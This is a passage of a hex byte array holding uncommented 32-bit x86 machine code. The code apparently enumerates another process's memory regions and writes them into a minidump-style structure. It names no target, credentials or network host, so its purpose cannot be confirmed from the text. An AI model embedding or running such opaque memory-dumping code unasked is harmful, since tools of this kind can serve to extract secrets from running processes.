0x08,0x04,0x00,0x00,0x00,0x8D,0x85,0x18,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x93,0xF7,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x20,0x02,0x00,0x00,0x8B,0x45,0xE0,0x89,0x04,0x24,0xE8,0xB7,0xA6,0xFF,0xFF,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xF2,0x04,0x00,0x00,0x8B,0x85,0x18,0xFF,0xFF,0xFF,0x8B,0x55,0xE4,0x83,0xC2,0x14,0x89,0x44,0x24,0x08,0x89,0x54,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x4C,0xF7,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x20,0x02,0x00,0x00,0x8B,0x45,0xE0,0x89,0x04,0x24,0xE8,0x70,0xA6,0xFF,0xFF,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAB,0x04,0x00,0x00,0x8B,0x45,0xE4,0x8B,0x00,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x85,0x11,0xFF,0xFF,0xFF,0x8B,0x45,0x08,0x8B,0x40,0x08,0x89,0x45,0x8C,0xC7,0x44,0x24,0x08,0x04,0x00,0x00,0x00,0x8D,0x45,0x90,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xEF,0xF6,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x20,0x02,0x00,0x00,0x8B,0x45,0xE0,0x89,0x04,0x24,0xE8,0x13,0xA6,0xFF,0xFF,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x4E,0x04,0x00,0x00,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x1B,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0x8B,0x45,0xE0,0x89,0x45,0xE4,0xE9,0xCC,0x03,0x00,0x00,0x8D,0x95,0xA8,0xFE,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x1C,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0x8B,0x45,0xE4,0x8B,0x50,0x0C,0x8B,0x40,0x08,0xBA,0x00,0x00,0x00,0x00,0x89,0x85,0xA8,0xFE,0xFF,0xFF,0x89,0x95,0xAC,0xFE,0xFF,0xFF,0x8B,0x45,0xE4,0x8B,0x40,0x10,0x89,0x85,0xB0,0xFE,0xFF,0xFF,0x8B,0x45,0xE4,0x8B,0x80,0x1C,0x02,0x00,0x00,0x89,0x85,0xB4,0xFE,0xFF,0xFF,0x8B,0x45,0xE4,0x8B,0x80,0x18,0x02,0x00,0x00,0x89,0x85,0xB8,0xFE,0xFF,0xFF,0x8B,0x45,0xE4,0x8B,0x80,0x14,0x02,0x00,0x00,0x89,0x85,0xBC,0xFE,0xFF,0xFF,0xC7,0x85,0xC0,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xC4,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xC8,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xCC,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xD0,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xD4,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xD8,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xDC,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xE0,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xE4,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xE8,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xEC,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xF0,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xF4,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xF8,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xFC,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x00,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x08,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x0C,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x10,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x14,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x8D,0x0C,0x02,0x8B,0x85,0xA8,0xFE,0xFF,0xFF,0x8B,0x95,0xAC,0xFE,0xFF,0xFF,0x89,0x01,0x89,0x51,0x04,0x83,0x45,0xDC,0x08,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xB0,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xB4,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xB8,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xBC,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xC0,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xC4,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xC8,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xCC,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xD0,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xD4,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xD8,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xDC,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xE0,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xE4,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xE8,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xEC,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xF0,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xF4,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xF8,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0xFC,0xFE,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x01,0xC2,0x8B,0x85,0x00,0xFF,0xFF,0xFF,0x89,0x02,0x83,0x45,0xDC,0x04,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x8D,0x0C,0x02,0x8B,0x85,0x08,0xFF,0xFF,0xFF,0x8B,0x95,0x0C,0xFF,0xFF,0xFF,0x89,0x01,0x89,0x51,0x04,0x83,0x45,0xDC,0x08,0x8D,0x95,0x20,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x8D,0x0C,0x02,0x8B,0x85,0x10,0xFF,0xFF,0xFF,0x8B,0x95,0x14,0xFF,0xFF,0xFF,0x89,0x01,0x89,0x51,0x04,0xC7,0x44,0x24,0x08,0x6C,0x00,0x00,0x00,0x8D,0x85,0x20,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x09,0xF3,0xFF,0xFF,0x85,0xC0,0x75,0x21,0xC7,0x44,0x24,0x04,0x20,0x02,0x00,0x00,0x8B,0x45,0xE0,0x89,0x04,0x24,0xE8,0x2D,0xA2,0xFF,0xFF,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x6B,0x8B,0x45,0xE4,0x8B,0x00,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x85,0x2A,0xFC,0xFF,0xFF,0x8B,0x45,0x90,0x6B,0xC0,0x6C,0x83,0xC0,0x04,0x89,0x85,0x1C,0xFF,0xFF,0xFF,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x85,0x1C,0xFF,0xFF,0xFF,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x30,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x6C,0xF2,0xFF,0xFF,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0x8C,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x34,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x4A,0xF2,0xFF,0xFF,0x8B,0x45,0xE0,0x81,0xC4,0x5C,0x01,0x00,0x00,0x5B,0x5E,0x5F,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0x8B,0x45,0x0C,0x89,0x45,0xFC,0xEB,0x3B,0x8B,0x45,0xFC,0x8B,0x50,0x0C,0x8B,0x40,0x08,0x89,0xC2,0x8B,0x45,0x08,0x39,0xD0,0x72,0x21,0x8B,0x45,0xFC,0x8B,0x50,0x0C,0x8B,0x40,0x08,0x89,0xC2,0x8B,0x45,0xFC,0x8B,0x40,0x10,0x01,0xD0,0x8B,0x55,0x08,0x39,0xC2,0x73,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x13,0x8B,0x45,0xFC,0x8B,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x75,0xBF,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x74,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x1C,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xB0,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x8B,0x00,0xC7,0x44,0x24,0x14,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x1C,0x00,0x00,0x00,0x8D,0x55,0xB0,0x89,0x54,0x24,0x0C,0x8B,0x55,0xE4,0x89,0x54,0x24,0x08,0x8B,0x55,0xF0,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x58,0xE4,0xFF,0xFF,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x0F,0x88,0x89,0x01,0x00,0x00,0x8B,0x45,0xB0,0x89,0x45,0xDC,0x8B,0x45,0xBC,0x89,0x45,0xD0,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x8B,0x45,0xDC,0x89,0xC1,0xBB,0x00,0x00,0x00,0x00,0x8B,0x45,0xD0,0x8B,0x55,0xD4,0x01,0xC8,0x11,0xDA,0x8B,0x4D,0xDC,0xBB,0x00,0x00,0x00,0x00,0x39,0xC8,0x89,0xD0,0x19,0xD8,0x0F,0x82,0x51,0x01,0x00,0x00,0x8B,0x55,0xD0,0x8B,0x45,0xDC,0x01,0xD0,0x89,0x45,0xF0,0x8B,0x45,0xC0,0x3D,0x00,0x10,0x00,0x00,0x0F,0x85,0x11,0x01,0x00,0x00,0x8B,0x45,0xC8,0x3D,0x00,0x00,0x04,0x00,0x0F,0x84,0x09,0x01,0x00,0x00,0x8B,0x45,0xC4,0x83,0xE0,0x01,0x85,0xC0,0x0F,0x85,0x01,0x01,0x00,0x00,0x8B,0x45,0xC4,0x25,0x00,0x01,0x00,0x00,0x85,0xC0,0x0F,0x85,0xF7,0x00,0x00,0x00,0x8B,0x45,0xC4,0x83,0xE0,0x10,0x85,0xC0,0x0F,0x85,0xEF,0x00,0x00,0x00,0x8B,0x45,0xC8,0x3D,0x00,0x00,0x00,0x01,0x75,0x1A,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8B,0x45,0xDC,0x89,0x04,0x24,0xE8,0x7F,0xFE,0xFF,0xFF,0x85,0xC0,0x0F,0x84,0xD1,0x00,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x28,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xB4,0x00,0x00,0x00,0x8B,0x45,0xCC,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0xDC,0xBA,0x00,0x00,0x00,0x00,0x8B,0x4D,0xCC,0x89,0x41,0x08,0x89,0x51,0x0C,0x8B,0x4D,0xCC,0x8B,0x45,0xD0,0x8B,0x55,0xD4,0x89,0x41,0x10,0x89,0x51,0x14,0x8B,0x55,0xC0,0x8B,0x45,0xCC,0x89,0x50,0x18,0x8B,0x55,0xC4,0x8B,0x45,0xCC,0x89,0x50,0x1C,0x8B,0x55,0xC8,0x8B,0x45,0xCC,0x89,0x50,0x20,0x83,0x7D,0xF4,0x00,0x75,0x08,0x8B,0x45,0xCC,0x89,0x45,0xF4,0xEB,0x21,0x8B,0x45,0xF4,0x89,0x45,0xE8,0xEB,0x08,0x8B,0x45,0xE8,0x8B,0x00,0x89,0x45,0xE8,0x8B,0x45,0xE8,0x8B,0x00,0x85,0xC0,0x75,0xEF,0x8B,0x45,0xE8,0x8B,0x55,0xCC,0x89,0x10,0x83,0x45,0xEC,0x01,0xE9,0x5C,0xFE,0xFF,0xFF,0x90,0xE9,0x56,0xFE,0xFF,0xFF,0x90,0xE9,0x50,0xFE,0xFF,0xFF,0x90,0xE9,0x4A,0xFE,0xFF,0xFF,0x90,0xE9,0x44,0xFE,0xFF,0xFF,0x90,0xE9,0x3E,0xFE,0xFF,0xFF,0x90,0xE9,0x38,0xFE,0xFF,0xFF,0x90,0xEB,0x01,0x90,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x54,0x8B,0x45,0x08,0x8B,0x40,0x08,0x89,0x45,0xE4,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xBB,0xFD,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAA,0x03,0x00,0x00,0x8B,0x45,0xF0,0x89,0x45,0xF4,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xEB,0x1A,0x8B,0x45,0xD8,0x8B,0x55,0xDC,0x83,0xC0,0x01,0x83,0xD2,0x00,0x89,0x45,0xD8,0x89,0x55,0xDC,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0xE0,0xC7,0x44,0x24,0x08,0x08,0x00,0x00,0x00,0x8D,0x45,0xD8,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x70,0xEF,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x94,0x9E,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x32,0x03,0x00,0x00,0x8B,0x45,0xD8,0x8B,0x55,0xDC,0x83,0xC0,0x01,0x83,0xD2,0x00,0x0F,0xA4,0xC2,0x04,0xC1,0xE0,0x04,0x83,0xFA,0x00,0x76,0x24,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x58,0x9E,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xF6,0x02,0x00,0x00,0x8B,0x45,0xD8,0x8B,0x55,0xDC,0x83,0xC0,0x01,0xC1,0xE0,0x04,0x89,0x45,0xD4,0x8B,0x45,0xE4,0x89,0xC1,0xBB,0x00,0x00,0x00,0x00,0x8B,0x45,0xD4,0xBA,0x00,0x00,0x00,0x00,0x01,0xC8,0x11,0xDA,0x89,0x45,0xC8,0x89,0x55,0xCC,0xC7,0x44,0x24,0x08,0x08,0x00,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xC7,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xEB,0x9D,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x89,0x02,0x00,0x00,0x8B,0x45,0xF0,0x89,0x45,0xF4,0xE9,0x92,0x00,0x00,0x00,0x8B,0x45,0xF4,0x83,0xC0,0x08,0xC7,0x44,0x24,0x08,0x08,0x00,0x00,0x00,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x77,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x9B,0x9D,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x39,0x02,0x00,0x00,0x8B,0x45,0xF4,0x83,0xC0,0x10,0xC7,0x44,0x24,0x08,0x08,0x00,0x00,0x00,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x32,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x56,0x9D,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xF4,0x01,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x85,0x64,0xFF,0xFF,0xFF,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0xD4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x3C,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xA4,0xED,0xFF,0xFF,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0xE4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x40,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x82,0xED,0xFF,0xFF,0x8B,0x45,0xF0,0x89,0x45,0xF4,0xE9,0x86,0x01,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x50,0x14,0x8B,0x40,0x10,0x89,0xC3,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x55,0x01,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x50,0x14,0x8B,0x40,0x10,0x89,0xC3,0x8B,0x45,0xF4,0x8B,0x50,0x0C,0x8B,0x40,0x08,0x89,0xC1,0x8B,0x45,0x08,0x8B,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x89,0x5C,0x24,0x0C,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0x89,0x4C,0x24,0x04,0x89,0x04,0x24,0xE8,0x61,0xDF,0xFF,0xFF,0x89,0x45,0xE8,0x8B,0x45,0xF4,0x8B,0x50,0x14,0x8B,0x40,0x10,0x83,0xFA,0x00,0x76,0x11,0x8B,0x45,0xF4,0xC7,0x40,0x10,0xFF,0xFF,0xFF,0xFF,0xC7,0x40,0x14,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x50,0x14,0x8B,0x40,0x10,0x89,0x44,0x24,0x08,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xF0,0xEC,0xFF,0xFF,0x85,0xC0,0x75,0x71,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x14,0x9C,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xEC,0x00,0x74,0x4A,0x8B,0x45,0xF4,0x8B,0x50,0x14,0x8B,0x40,0x10,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xEA,0x1A,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x65,0x83,0x7D,0xEC,0x00,0x74,0x4A,0x8B,0x45,0xF4,0x8B,0x50,0x14,0x8B,0x40,0x10,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x93,0x1A,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x85,0x70,0xFE,0xFF,0xFF,0x8B,0x45,0xF0,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x9B,0xEC,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xC2,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x71,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA9,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x67,0xEF,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x90,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x4A,0xF3,0xFF,0xFF,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x75,0x8B,0x45,0xF4,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x9E,0xFB,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x21,0xC7,0x44,0x24,0x04,0x20,0x02,0x00,0x00,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0xB2,0x9A,0xFF,0xFF,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x39,0xC7,0x44,0x24,0x04,0x20,0x02,0x00,0x00,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x91,0x9A,0xFF,0xFF,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x77,0x9A,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x81,0xEC,0xB4,0x03,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xB8,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x01,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x8D,0x95,0xAC,0xFE,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0x8D,0x95,0xA4,0xFC,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x82,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x85,0x9C,0xFC,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xA0,0xFC,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x8D,0x85,0xA4,0xFC,0xFF,0xFF,0x89,0x85,0xA0,0xFC,0xFF,0xFF,0x66,0xC7,0x85,0x9C,0xFC,0xFF,0xFF,0x00,0x00,0x66,0xC7,0x85